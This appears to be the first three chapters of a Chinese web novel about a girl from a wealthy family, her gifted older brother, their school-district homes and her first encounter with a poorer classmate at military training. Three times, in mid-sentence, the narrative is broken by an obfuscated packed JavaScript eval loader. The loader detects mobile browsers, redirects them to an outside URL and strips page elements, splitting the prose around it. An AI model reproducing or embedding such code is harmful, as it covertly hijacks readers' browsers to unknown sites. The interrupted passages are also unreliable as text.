《圆满有时差》 1. 1. 医院的走廊安静得能听见自己的心跳声，日光灯冷白的光线照在光洁的地板上，反射出令人不适的眩光。林婉仪躺在检查床上，冰凉的耦合剂涂在她微隆的小腹，超声探头轻轻滑过皮肤。医生面无表情地盯着屏幕，手上的动作专业而迅速。 “胎儿发育正常，”医生顿了顿，平淡的声音没有任何起伏，“是女孩。” 林婉仪的笑容僵了一下，虽然只是瞬间的变化，却没能逃过医生的眼睛。她下意识地看向站在一旁的丈夫秦国栋，对方的表情也有些微妙的变化。 “肯定是女孩，要吗？”医生见过太多这样微妙的转变以及后续发生的一切，所以她的语气直接得近乎残忍，私立医院的医生不像公立医院那样懂得委婉。 “要！”林婉仪和秦国栋异口同声，没有任何犹豫。 秦国栋握住林婉仪的手，语气坚定：“医生，女儿也是我们的孩子，怎么能不要呢？” 医生点点头，递过纸巾让林婉仪擦掉腹部的耦合剂，没有任何多余的表情或言语。“下次产检在四周后，记得预约。” 回家的路上，林婉仪一直沉默着。秦国栋轻轻拍了拍她的手背：“女儿更好，贴心小棉袄。” “我不是不高兴，女儿也很好，”林婉仪叹了口气，目光望向车窗外飞驰而过的街景，“只是宇晨一直想要个弟弟陪他踢球，你也知道，那孩子总是说一个人太孤单。” “那就让妹妹陪他踢，谁说女孩不能踢球？”秦国栋笑道，“多个女儿，多份福气。” 林婉仪终于笑了，是啊，无论是儿是女，都是他们的骨肉。她轻轻抚摸着自己微隆的腹部，感受到里面小生命的动静，一股暖流涌上心头。 一九九九年九月二十一日下午六点三十二分，秋分前两天，女儿来到了这个世界。 当她被护士抱到林婉仪面前时，原本因为分娩而疲惫不堪的林婉仪顿时睁大了眼睛。女儿很漂亮，皮肤没有新生儿常有的褶皱和通红，反而白里透红，一双眼睛又大又亮，像熟透的黑葡萄。 “她真好看，”林婉仪轻声说，生怕惊扰了怀中的小人儿，“像块小蛋糕。” 秦国栋站在床边，小心翼翼地抱起女儿，动作僵硬得像是捧着一件易碎的珍宝。八岁的秦宇晨踮着脚尖，努力想看看妹妹的模样。 “爸爸，让我看看妹妹！”秦宇晨着急地拽着父亲的衣角。 秦国栋蹲下身，让儿子能平视妹妹。秦宇晨睁大眼睛，好奇地看着那个被包裹在襁褓里的小生命。 “她好小啊，”秦宇晨小声说，生怕吵醒她，“我可以摸摸她吗？” 在父亲的鼓励下，小男孩伸出食指，极其轻柔地碰了碰妹妹的脸颊，那触感柔软得超乎想象。 “她真软，”秦宇晨惊喜地抬头看向父母，“像棉花糖！” 女儿的名字是秦语曦，是爷爷翻了好几天字典才定下来的。“语”取自言语文辞，“曦”代表晨光，寓意这个女孩将如晨光般温暖明亮，又兼具文采口才。 林婉仪是一家世界五百强企业的财务总监，公司主营医疗和证券业务；秦国栋则是另一家以能源化工为主业的五百强企业的技术副总兼董事长助理。两人工作繁忙，经常出差，但从未忽视对孩子的教育和陪伴。 由于夫妻俩工作忙，秦宇晨小时候多数时间由住在楼下的爷爷奶奶照顾。秦语曦的到来让这个家更加热闹。 秦语曦满月时，家里办了个小宴会。林婉仪抱着女儿，脸上难得洋溢着温柔的笑容。秦国栋则忙着接待前来祝贺的亲朋好友，脸上满是为人父的骄傲。 宴会上最引人注目的是八岁的秦宇晨。整个过程，他几乎寸步不离妹妹的小床，每当有客人想靠近观看，他就会立刻站起来，像个小卫士一样介绍：“这是我妹妹，她叫语曦。” 客人们被小男孩的认真劲儿逗乐了，故意逗他：“宇晨，有了妹妹，爸爸妈妈就不疼你喽！” 秦宇晨却一脸严肃地摇头：“不会的，爸爸妈妈说他们对我们的爱一样多。而且我会和爸爸妈妈一起疼妹妹。” 一句话引得满堂喝彩，林婉仪和秦国栋相视而笑，眼中满是欣慰。 秦语曦两岁秦宇晨十岁那年，秦国栋林婉仪计划购买学区房，给儿女升学做准备。 那天晚上，秦国栋和林婉仪罕见地都在家休息，两人坐在客厅沙发上，面前摊开一堆文件和资料。 “三中理科强，竞赛体系成熟，培养出许多理科状元和高分选手，但管理太严格了，不适合宇晨的性格。”林婉仪翻看着G市第三中学的介绍，眉头微蹙。 秦国栋点头附和：“附外和附中也不错，同属一个教育集团，附中理科实力强劲，管理更加人性化。附外文科更强，校风自由。” “要不我们看看附中和附中附近的房子？两个孩子将来上学也方便。” 于是，在秦宇晨十岁、秦语曦两岁那年，秦国栋拿出自己攒下的积蓄，加上爷爷奶奶支援的一部分资金，在附中和附外中间地段买下了一套120平米的学区房。房子位于旧城区，虽然不算新，但周边教育资源丰富，交通便利。 搬家那天，秦语曦摇摇晃晃地在新家的客厅里走来走去，对陌生环境充满好奇。秦宇晨则兴奋地选了自己的房间，虽然不大，但窗户朝向小区花园，视野开阔。 “以后这就是我们的新家了！”秦国栋抱起女儿，语气中带着满足和期待。 林婉仪环顾四周，已经开始规划如何装修：“这里离两个孩子未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484401|185669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的学校都近，步行只要十分钟，方便多了。” 同一年，秦语曦进入了双语幼儿园。第一天去幼儿园，小女孩穿着崭新的园服，背着小书包，乖巧地坐在座位上，不哭不闹。秦国栋和林婉仪站在教室窗外，看着女儿适应良好的样子，心里既欣慰又有些许不舍。 “她好像一点都不想我们。”林婉仪小声对秦国栋说，语气中带着一丝失落。 秦国栋搂住林婉仪的肩膀：“这说明我们的曦曦很独立，是好事。” 然而当秦语曦注意到父母要离开时，还是忍不住跑过来抱住了林婉仪的腿：“妈妈早点来接我。” 那一刻，林婉仪的心都快化了。她蹲下身，轻轻吻了吻女儿的额头：“一定早点来接你。” 秦语曦四岁时，秦宇晨十二岁，顺利升入附中初中部。附中的理科实力确实强劲，尤其竞赛班更是名声在外。秦宇晨很快展现出数学方面的天赋，这让秦国栋和林婉仪感到欣慰。 随着秦宇晨升入初中，需要上晚自习，家里的氛围悄然发生了变化。秦语曦最早的记忆中，家里常常只有爷爷奶奶和她自己。父母工作繁忙，经常很晚才回家，有时甚至直接住在公司附近的公寓里。 宽敞的房子里常常只有小女孩和老人的身影，显得空荡荡的。秦语曦常常抱着娃娃，坐在窗前等爸爸妈妈回家，但多数时候，她会在等待中睡着，第二天早上才发现父母曾经回来过的痕迹——客厅桌上未收的文件包，或厨房里用过的咖啡杯。 虽然不能经常陪伴，林婉仪和秦国栋却从未在物质和教育上亏待两个孩子。他们在事业上已经相当成功，加上投资眼光精准，获得了丰厚的回报，有充足的资金为子女提供最好的资源。 秦语曦五岁那年，家里添置了一台立式钢琴，放在客厅一角。林婉仪请了当地有名的钢琴老师来给女儿上课。 第一节课，五岁的秦语曦还很小，坐在琴凳上脚还够不着地板，只能在凳子上垫了个厚垫子。她好奇地用小小的手指按下琴键，叮叮咚咚的琴声在客厅里回荡。 “很好听，”秦国栋鼓励道，“曦曦以后一定能弹得很好。” 钢琴老师是个温和的中年女性，她耐心地引导着小女孩认识琴键和基本音阶。“来，语曦，跟着我一起唱，do—re—mi—” 秦语曦稚嫩的声音跟着老师唱起来，虽然音准还不完美，但节奏感很好。林婉仪站在一旁，用相机记录下这珍贵的时刻。 除了钢琴，秦语曦还开始学习绘画。她的第一幅作品是一家人手牵手的简笔画，虽然比例失调，线条歪歪扭扭，但还是被林婉仪细心裱起来，挂在客厅墙上。 “这是我们家的第一幅名画。”秦国栋开玩笑地说，惹得小语曦直笑。 2. 2. 在双语幼儿园的全天浸泡下，秦语曦的语言天赋逐渐显现。升入小学时，她的英语已经说得相当流利，甚至能阅读简单的英文绘本。钢琴方面，她进步神速，短短一年已经能弹奏一些简单的曲子。绘画更是她的强项，尤其擅长Q版人物，笔下的人物惟妙惟肖，充满生气。 相比之下，秦宇晨则在数理领域大放异彩。八年级时，他拿下了两个数学竞赛金牌和一等奖，获得中考免试资格，直接保送附中高中部竞赛班。正式进入高中不久，他又获得了全国高中数学联赛的一等奖，拿到了中国数学奥林匹克的参赛资格。 那时秦宇晨十五岁，秦语曦七岁。为了庆祝儿子的成就，林婉仪和秦国栋特意推掉所有工作，带一双儿女去了一家高档粤菜馆吃饭。 餐馆装修典雅，氛围安静。秦语曦穿着小裙子，坐在椅子上，脚还够不到地，却学着大人的样子优雅地使用餐具。 “宇晨，真的很棒。”林婉仪举起果汁杯，“为你骄傲。” 秦国栋点头，眼中闪着光：“继续努力，CMO就在眼前了。” 秦宇晨有些不好意思地推了推眼镜：“谢谢爸妈，我会的。” 这时，秦语曦突然举起自己的果汁杯，奶声奶气却一脸认真：“哥哥最棒！” 全家人都笑了，秦宇晨揉揉妹妹的头发：“以后曦曦会比哥哥更棒。” 一年后，秦宇晨高二，果然不负众望，拿下了CMO金牌，被保送至北京大学计算机专业，并入选国家集训队。同一年，秦国栋升任集团总裁，林婉仪也成为财务副总，双喜临门。 这次庆祝地点选在了一家西餐厅。八岁的秦语曦好奇地摸着哥哥的金牌，眼中闪着羡慕的光芒。 “真漂亮，”她小声说，“以后我也要拿奖牌。” 秦国栋大笑：“好！咱们家曦曦肯定行！” 饭后，秦国栋大手一挥，给儿子买了一台高配置的游戏本。“大学生了，需要好电脑。” 秦宇晨惊喜地接过礼物，秦语曦则拉拉父亲的衣角：“爸爸，那我呢？” 林婉仪抱起女儿：“等你考上好大学，妈妈给你买更好的。” 一个周末的午后，阳光透过窗户洒进客厅。秦语曦正专心致志地画着一幅Q版全家福，秦宇晨则在旁边准备即将到来的竞赛。 林婉仪和秦国栋难得同时休息，坐在沙发上看着一对儿女，眼中满是幸福和满足。 “时间过得真快，”林婉仪轻声感叹，“感觉昨天宇晨还是抱在怀里的小婴儿，今天都已经保送北大了。” 秦国栋搂住妻子的肩膀：“是啊，曦曦也长大了。有时候觉得亏欠他们太多，陪他们的时间太少了。” “但我们都尽力了，不是吗？”林婉仪靠在丈夫肩上，“重要的是孩子们知道我们爱他们，支持他们。” 这时，秦语曦举起画作：“爸爸妈妈，看我画的！” 画上是Q版的秦家四口人，每个人都笑得眼睛弯成了月牙，背后是他们家的房子，屋顶上还有一个大大的太阳，散发着温暖的光芒。 “画得真好！”林婉仪接过画作，惊喜地发现女儿甚至捕捉到了每个人的神态特征——秦国栋的严肃中带着温柔，她自己的优雅端庄，秦宇晨的书卷气，还有秦语曦自己的活泼灵动。 秦国栋也赞赏地点头：“曦曦真有天赋，以后说不定能成为大画家。” 秦宇晨凑过来看：“比我画得好多了，我只会画直线和圆。” 全家人都笑了，阳光洒在他们身上，温暖而明亮。 那一刻，林婉仪和秦国栋明白，他们为子女做的一切都是值得的。无论是买学区房的决策，还是工作上的拼搏，都是为了给两个孩子创造更好的成长环境。 而秦语曦，这个曾经让他们稍感意外的小女儿，如今已成为家中不可或缺的一缕阳光，用她独特的方式温暖着每个人。 夜深了，秦语曦已经入睡。林婉仪轻轻走进房间，为女儿掖好被角，在她额头上印下一个晚安吻。 “晚安，我的小宝贝，”她轻声说，“愿你永远如晨光般明亮温暖。” 月光透过窗帘缝隙洒进来，照在秦语曦恬静的睡脸上，那模样真的如同天使一般。林婉仪站在门口，最后看了一眼女儿，轻轻带上了门。 在另一个房间里，秦宇晨还在书桌前奋战，为即将到来的国家集训队做准备。秦国栋轻轻推门进来，放下一杯热牛奶：“别熬太晚，身体重要。” “马上就睡，爸爸。”秦宇晨抬头笑了笑，“我想多准备一点，不能给附中丢脸。” 秦国栋拍拍儿子的肩膀：“你已经很棒了，不要给自己太大压力。” 回到卧室，秦国栋对林婉仪说：“两个孩子都这么优秀懂事，是我们的福气。” 林婉仪点头：“是啊，特别是曦曦，虽然年纪小，却已经很懂事了。有时候我忙工作不能陪她，她从不闹脾气，反而会说‘妈妈辛苦’。” “毕竟是我们家的小太阳嘛。”秦国栋关上台灯，“睡吧，明天还要早起到公司。” 夜色深沉，只有月光静静地流淌在每个角落，守护着这个充满爱与希望的家。 秦语曦四年级的暑假，热浪席卷了整个城市，连蝉鸣都显得有气无力。然而她的家里却洋溢着一种难以言表的兴奋与期待——秦宇晨的高考录取通知书即将送达。 那天下午，阳光透过百叶窗，在客厅地板上划出一道道明亮的光斑。秦语曦坐在地板上拼着新买的乐高，秦宇晨则显得有些坐立不安，时不时看向墙上的时钟。 “哥哥，你都在我面前转了十圈了。”秦语曦抬起头，眨着大眼睛说。 秦宇晨停下脚步，不好意思地笑了笑：“我在等一个重要邮件。” 话音刚落，门铃响了。秦宇晨几乎是冲到了门口，签收了一个厚厚的快递信封。当他转身时，秦语曦看见哥哥眼睛里闪烁着前所未有的光芒。 “是录取通知书吗？”秦语曦丢下乐高，跑到哥哥身边。 秦宇晨点点头，手指微微发抖地拆开信封。当那封精致的录取通知书完全展现在眼前时，他深吸一口气，脸上绽放出灿烂的笑容。 “北京大学计算机科学与技术专业。”他轻声念出那几个字，仿佛在诵读什么神圣的经文。 秦语曦虽然不太明白这意味着什么，但从哥哥的反应知道这一定是件天大的好事。她跟着哥哥一起笑起来，小手拽着哥哥的衣角：“哥哥好厉害！” 那天晚上，全家出去吃了大餐庆祝。林婉仪和秦国栋的脸上写满了骄傲，不时相视而笑。 “为我们家的准大学生干杯！”秦国栋举起酒杯，语气中满是自豪。 “干杯！”四只杯子碰在一起，发出清脆的声响。秦语曦的杯子里是果汁，但她学着大人的样子一饮而尽，逗得全家哈哈大笑。 接下来的日子，秦宇晨开始准备大学入学所需的各种材料。一天下午，他需要找户口本。 “妈，户口本放在哪里？”秦宇晨朝厨房方向喊道。 林婉仪正在拿水果，头也不回地答：“老地方，书房抽屉里。” 秦语曦正好从自己房间出来，听见了对话，便跟着哥哥进了父母的书房。书房不大，但整洁有序，一面墙是书柜，另一面则放着一张实木书桌。 秦宇晨打开书桌右下角的抽屉，开始翻找。秦语曦好奇地凑过去，看着抽屉里各种文件和证件。 “哇，这么多本本。”她惊叹道。 秦宇晨找到了户口本，正准备关上抽屉，秦语曦却伸手从里面拿出了两本红色的证件。 “这是什么？”她问。 秦宇晨看了一眼：“房产证。”他没有阻止妹妹，反而看着这个十岁的小姑娘小心翼翼地将那些重要文件抱在怀里，眼中满是孩童特有的好奇与认真。 秦语曦又发现了别的东西：“呀，这是我和哥哥的小脚印！”她拿起兄妹俩的出生证明，指着上面的婴儿脚印，眼睛亮晶晶的。 秦宇晨微微一笑，由着妹妹翻看那些对成年人来说枯燥但对孩子却充满神秘感的文件。他关上抽屉，轻声说：“走吧，去书房复印一下。” 秦语曦抱着一堆文件，像捧着珍宝一样跟在哥哥身后进了书房。秦宇晨打开复印机，开始复印身份证和户口本。秦语曦坐在旁边的椅子上，仔细翻看那些文件。 她先翻开哥哥的录取通知书，摸着上面凸起的校徽和文字，虽然看不懂全部内容，但知道这代表着哥哥的成就。然后她又翻开房产证，看着上面陌生的术语和数字，最后是出生证明，她对那小小的脚印最感兴趣。 “哥哥，我出生的时候只有这么小吗？”她指着自己的脚印问。 秦宇晨停下手头的工作，走过来看了一眼：“是啊，你刚出生时特别小，像只小猫一样。”他摸摸妹妹的头，“现在都长这么大了。” 秦语曦满足地笑了，继续翻看那些文件，仿佛在阅读一本关于自己家庭的秘密之书。她不知道这些文件具体意味着什么，但能感觉到它们很重要，记录着家人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484402|185669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的历史和身份。 等秦语曦“研究”够了，秦宇晨才帮她一起整理好文件，放回原来的抽屉里。关抽屉前，他认真地叮嘱妹妹：“曦曦，这些文件很重要，以后要看的话记得要放好，知道吗？” 秦语曦郑重地点头：“知道了，哥哥。” 秦宇晨满意地摸摸她的头，牵着她的小手来到客厅：“想看什么电视？哥哥陪你。” “《喜羊羊与灰太狼》！”秦语曦立刻欢呼起来。 秦宇晨笑着摇摇头，帮妹妹调到了动画频道。他坐在沙发上，秦语曦靠在他身边，兄妹俩一起看着电视，午后的阳光温暖地洒在他们身上。 一年后，秦语曦上五年级，秦宇晨也已经在北京大学度过了大一生活。又是一个暑假，秦语曦家迎来了另一件大事——搬家。 林婉仪和秦国栋在城西新开发的高档小区买了一套300平米的大平层。小区环境优美，像个大公园，安保措施严格，每栋楼都是两梯两户的设计，私密性很好。 搬家前一天，秦国栋带着秦语曦去看了新房子。一进门，秦语曦就惊呆了。 “好大啊！”她站在宽敞的客厅里，声音在空间中产生轻微的回响。 秦国栋笑着领她参观：“这是你的房间，看，比之前的大多了吧？” 秦语曦跑进属于自己的房间，开心地转了个圈。房间朝南，采光极好，窗外可以看到小区中央的花园和泳池。她已经有自己的书桌、书柜，甚至还有一个飘窗台，可以坐在上面看书。 最让她惊喜的是，客厅沙发与落地窗之间的空位，放着一台崭新的钢琴。黑色的漆面光可鉴人，琴键洁白如雪。 “爸爸，这是给我的吗？”秦语曦不敢相信地问。 秦国栋点头：“当然，新房子当然要配新钢琴。喜欢吗？” 秦语曦猛点头，迫不及待地打开琴盖，弹了几个音符。清脆悦耳的琴声在空旷的房间里回荡，比旧钢琴的声音更加丰富饱满。 “太好了！谢谢爸爸！”秦语曦扑进父亲怀里，给了他一个大大的拥抱。 等装修的味道完全散去后，正好赶上语秦曦和秦宇晨都放暑假，全家正式搬入了新居。搬家的过程很辛苦，但每个人都充满期待。 秦宇晨看到新家时也吃了一惊：“这比我想象的还要好。” 秦国栋特意为儿子定制了一套专业的书桌和书柜，方便他假期学习和工作。 “喜欢吗？”林婉仪期待地看着儿子。 秦宇晨重重地点头：“太喜欢了，谢谢爸妈。” 那天晚上，一家四口坐在宽敞的餐厅里吃了在新家的第一顿饭。虽然只是简单的外卖，但每个人的脸上都洋溢着幸福的笑容。 “为我们家的新生活干杯！”秦国栋再次举杯，这次是在崭新的家中。 “干杯！”四个杯子碰在一起，秦语曦的杯子里依然是果汁，但她觉得自己仿佛也尝到了香槟的滋味。 饭后，秦语曦迫不及待地坐到了钢琴前，弹奏起最近学的曲子。悦耳的琴声流淌在宽敞的客厅里，林婉仪和秦国栋坐在沙发上聆听，眼中满是欣慰。秦宇晨则靠在阳台门上，微笑着看妹妹专注的侧脸。 这一刻，秦语曦觉得无比幸福。她拥有一个温暖的家，爱她的父母，优秀的哥哥，现在还有了这么漂亮的新家和钢琴。她暗暗下定决心，一定要更加努力地学习钢琴，不辜负父母的期望。 如今，秦语曦家已经拥有了三套房产：老城区那套小三房的婚房，承载着林婉仪和秦国栋婚姻初期的酸甜苦辣；附中附外中间的学区房，见证了秦宇晨和秦语曦的成长与求学之路；以及现在这套城西高档小区的大平层，象征着家庭事业的新高度和未来的无限可能。 那套婚房，秦国栋和林婉仪都舍不得卖，只是把它租了出去。有时候，全家还会开车路过那里，回忆往昔的岁月。 “还记得吗？宇晨就是在那扇窗前学会走路的。”林婉仪总会指着某个窗户说。 “语曦就是在那棵树下摔了一跤，哭得惊天动地。”秦国栋也会补充道。 属于秦语曦的故事，才刚刚开始。这个出生时让母亲稍感意外的小女孩，将会以自己的方式，活出万丈光芒。 在她的生命中，将会遇到谢雪凤，两个女孩的命运交织在一起，共同经历成长的喜悦与烦恼，友谊的甜蜜与考验，以及青春期的迷茫与探索。 但此刻，秦语曦还只是个被爱包围的小女孩，在温暖的梦境中徜徉，不知道未来有什么在等待着她。 3. 3. 秦语曦小学毕业的那个夏天，家里的气氛有些微妙。不同于寻常家庭对孩子升学的焦虑，秦国栋林婉仪更多是在两种优质选择间权衡——是去附中，还是去附外。 这个话题在一个周六的早餐桌上被正式提起。阳光透过落地窗洒在精致的早餐桌上，林婉仪刚喝完一杯咖啡，轻轻放下杯子。 “曦曦马上就要上初中了，我觉得附中不错。”秦国栋翻看着手中的报纸，头也不抬地说，“附中高中部文理科都很强，理科能和培养出众多竞赛金牌和高考状元的三中一较高下，经常能把理科状元抢过来。竞赛成绩也只和三中差两三块金牌。文科也有实力和附外扳手腕。” 他顿了顿，继续道：“最重要的是，如果初中就在附中读，成绩好的话能够获得高中部降分录取以及换班权、评价老师权。这对曦曦将来发展很有利。” 林婉仪微微摇头，“我倒是觉得附外更适合曦曦，曦曦作文拿了市特等奖，英语竞赛也得了一等奖。附外文科比附中更专业，文科培养体系是G市乃至全省最强的。” 她转向正在小口吃着煎蛋的语曦，眼神温柔：“而且附外校风自由，能够最大程度发挥曦曦的特长。高中时再去附中也不迟。” 秦语曦抬起头，眨着大眼睛。她对父母讨论的学校优劣并没有太清晰的概念，但她记得好友梁清嘉说过要去附外。 就在这时，门铃响了。不一会儿，结束大二学习放暑假回家的秦宇晨拖着行李箱走进来。 “哥哥！”秦语曦高兴地跳下椅子，奔向半年多没见的哥哥。 秦宇晨笑着接住扑过来的妹妹，揉了揉她的头发：“长高了不少啊。” 一家人重新坐回餐桌，秦宇晨也加入了关于语曦升学选择的讨论。听完父母的意见，他转向妹妹：“曦曦自己怎么想？” 秦语曦眨眨眼，想起好友梁清嘉说过初中去附外，“嘉嘉说她也去附外……” 秦宇晨笑了：“所以你也想去附外？” 秦语曦点点头，又急忙补充：“附外校风自由，而且……”她努力回想母亲刚才的话，“能最大程度发挥我的特长。” 秦宇晨看向父母：“我觉得附外确实更适合曦曦。她文科强，性格活泼，附外自由的环境可能更有利于她发展。高中如果觉得有必要，再去附中也不迟。” 就这样，在一家人的讨论中，秦语曦的初中去向定了下来——师大附属外国语学校。 报名那天清晨，秦语曦早早起床，换上林婉仪为她准备的新裙子。白色裙摆上点缀着小雏菊，衬得她越发清新可爱。 “妈妈真的不能一起去吗？”秦语曦看着正在整理文件的林婉仪，有些失望地问。 林婉仪无奈地叹了口气：“宝贝，妈妈今天要开一个面对董事会的重要会议，实在抽不开身。爸爸陪你去好不好？” 秦国栋从书房走出来，手里拿着一个文件袋：“都准备好了，户口本、房产证、毕业证书......走吧曦曦，我们早点去，不然排队的人多。” 秦语曦点点头，跟在秦国栋身边。 附外校园里已经排起了长队。秦国栋牵着秦语曦的手，找到队伍末尾站定。阳光渐渐强烈起来，秦国栋接了个工作电话，秦语曦无聊地摆弄着文件袋。 “爸爸，我能看看里面的东西吗？”秦语曦小声问。 秦国栋正在电话里与人交谈，点点头表示同意。语曦打开文件袋，小心翼翼地取出里面的文件。她不是第一次翻看这些证件了，家里的三本房产证、户口本、她和哥哥的出生证，甚至哥哥去大学报到前准备的各种材料，她都翻看过。家人从不阻止，只是要求她看完后放回原处。 秦语曦拿出那本红色的房产证，轻轻抚摸着光洁的封面。她记得这是九年前买的学区房，那时候父母为了她和哥哥的教育，毅然买下了这套房子。 就在这时，秦语曦注意到排在她后面一对母女。母亲穿着朴素，脸上带着些许疲惫，女孩低着头，不时偷偷看秦语曦手中的房产证。 叶桂兰与谢雪凤确实在看秦语曦手中的房产证。作为附外后勤部的员工，叶桂兰自然知道那本红色证件意味着什么——这是能来附外初中部的入场券。一个荒谬的想法浮现在她脑海中：根据她在中介公司门口广告牌上看到的信息，附外学区房均价六万五一平米。如果秦语曦手上的房产证登记面积是100平米，那就能卖650万。这个数字让她感到眩晕——把他们一家人卖了都得不到这么多钱。 实际上，秦语曦手中的房产证登记面积为120平米。九年前，秦国栋和林婉仪买下这套房子时，连税带中介费花了150万。九年时间，这套房子已经增值了600多万。这就是教育投资的价值，也是社会现实的残酷写照。 队伍缓缓前进，终于轮到秦语曦。秦国栋还在讲电话，他对电话那头说了声“稍等，给孩子办手续”，然后在工作人员的指引下快速办理报名手续。 “秦语曦同学，请在这里签字。”工作人员微笑着指着一个位置。 秦语曦认真地在指定位置签下自己的名字，字迹工整清秀。秦国栋满意地点点头，对电话那头说：“好了，我们继续。” 手续办完后，秦国栋让秦语曦收拾材料。在工作人员的帮助下，秦语曦很快整理好文件放回文件袋，跟着父亲离开了报名处，父女俩都没有注意到身后那对谢雪凤与叶桂兰复杂的目光。 8月22日，分班结果在师大教育集团APP上发布。秦语曦迫不及待地刷新页面，当看到自己被分到五班时，她立刻给梁清嘉发消息。 “嘉嘉，你在几班？” “三班。你呢？” “五班...可惜不在一起。” “没事，下课还能一起玩！” 8月24日，附外初一新生前往国防教育基地开始为期七天的军训。林婉仪细心地为语曦收拾了几套换洗衣物和日常用品，秦国栋则开车送女儿到集合地点。 基地里已经聚集了不少学生和家长。秦语曦一下车就看到了梁清嘉，两个女孩高兴地拥抱在一起。 来到女生宿舍，秦语曦发现自己的床铺是下铺，而上铺正是谢雪凤。谢雪凤已经整理好床铺，正坐在床上看书。 “嗨。”秦语曦友好地打招呼。 谢雪凤抬起头，微微点头，却没有说话，很快又低下头继续看书。 秦语曦有些尴尬，去整理床铺了。整理好床铺，秦语曦去洗漱，一旁的陆思敏在她洗漱完毕后笑道：“你好呀，我叫陆思敏。” “我叫秦语曦。”秦语曦甜甜地笑了起来。 “我们以后一起搭伙过日子吧。” “好。” 每天早晨六点起床，进行晨跑和晨练；上午进行队列训练；下午是体能训练和军事知识学习；晚上还要写军训日记。炎热的天气和高强度的训练让许多学生叫苦不迭。 但秦语曦却意外地适应得很好。她身体素质不错，加上性格开朗，总能从艰苦的训练中找到乐趣。陆思敏成了她形影不离的好友，两人一起训练，一起吃饭，晚上还偷偷躲在被窝里说悄悄话。 与下铺的秦语曦相比，上铺的谢雪凤则显得沉默寡言。她总是独自一人，训练时认真刻苦，休息时则拿出书本学习。秦语曦几次想和她聊天，都被简短地回应打发掉了。 第三天晚上，秦语曦正在写军训日记，突然听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484403|185669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到上传来轻微的抽泣声。她抬头一看，发现谢雪凤的床铺在微微颤抖。 “你没事吧？”秦语曦小声问道。 抽泣声突然停止，过了一会儿，谢雪凤的声音传来：“没事。” 秦语曦犹豫了一下，还是爬上了梯子：“你想家了吗？” 谢雪凤背对着她，没有回答。秦语曦看到她枕边放着一张全家福照片，照片上的六口人笑得灿烂。 “我也有点想家，”秦语曦轻声说，“这是我第一次离开家这么久。不过想想还有四天就能回去了，就好受多了。” 谢雪凤转过身，眼睛红红的：“你不懂。” 秦语曦确实不太懂。对她来说，想家只是情绪，回家后就有父母的呵护和哥哥的宠爱。但对谢雪凤来说，家意味着更多的东西——拥挤的空间、拮据的生活…… “需要纸巾吗？”秦语曦递过一包面巾纸。 谢雪凤犹豫了一下，接过纸巾：“谢谢。” 这是她们第一次真正意义上的交流。 军训的最后一天是汇报表演。学生们穿着统一的迷彩服，精神抖擞地进行队列展示和军体拳表演。秦语曦所在的五班表现突出，获得了“优秀连队”的称号。 颁奖仪式上，秦语曦意外地听到自己的名字——她被评为“军训标兵”。当她上台领奖时，看到台下鼓掌的同学们，心中涌起一股自豪感。 更让她惊讶的是，谢雪凤也获得了“内务标兵”的奖项。两个女孩在台上相遇，谢雪凤难得地对她微笑了一下。 回程的大巴上，秦语曦和陆思敏坐在一起，兴奋地讨论着军训的点点滴滴。谢雪凤独自坐在后排靠窗的位置，看着窗外飞驰而过的风景。 秦语曦偶尔回头看她，发现她手中拿着那张全家福照片，指尖轻轻抚过照片上每个人的笑脸。 那一刻，秦语曦隐约感觉到，这个沉默寡言的女孩背后，有着与她截然不同的生活和故事。虽然同在一个班级，甚至同在一个宿舍，但她们来自两个不同的世界。 大巴驶入市区，高楼大厦逐渐取代了郊区的景色。秦语曦拿出手机，给父母发了条消息：“快到了，想你们！” 很快，林婉仪回复了：“爸爸和我在校门口等你，晚上做你最爱吃的糖醋排骨。” 秦语曦甜甜地笑了，对陆思敏说：“我妈做了糖醋排骨等我呢！” 陆思敏笑着说：“真好啊。” 秦语曦又回头看了眼谢雪凤，突然问道：“谢雪凤，有人来接你吗？” 谢雪凤摇摇头：“我自己回去。” 秦语曦想说些什么，但最终还是没有开口。她意识到，有些差距不是靠好意就能弥补的。 大巴终于到达附外校门口。学生们迫不及待地拎着行李下车，寻找着自己的家人。秦语曦一眼就看到了站在车旁的秦国栋和林婉仪，她高兴地奔过去。 “爸爸妈妈！” 林婉仪接住女儿，仔细端详：“晒黑了不少。” 秦国栋拎起秦语曦的行李温声道：“走吧，回家好好休息。” 秦语曦上车前，下意识地回头看了一眼。她看见谢雪凤独自一人背着行李，朝着公交车站走去。夕阳将她的影子拉得很长，显得格外孤独。 那一刻，秦语曦心中涌起一种复杂的感觉。她知道自己很幸运，有爱她的家人，有优越的条件。而谢雪凤，似乎什么都没有。 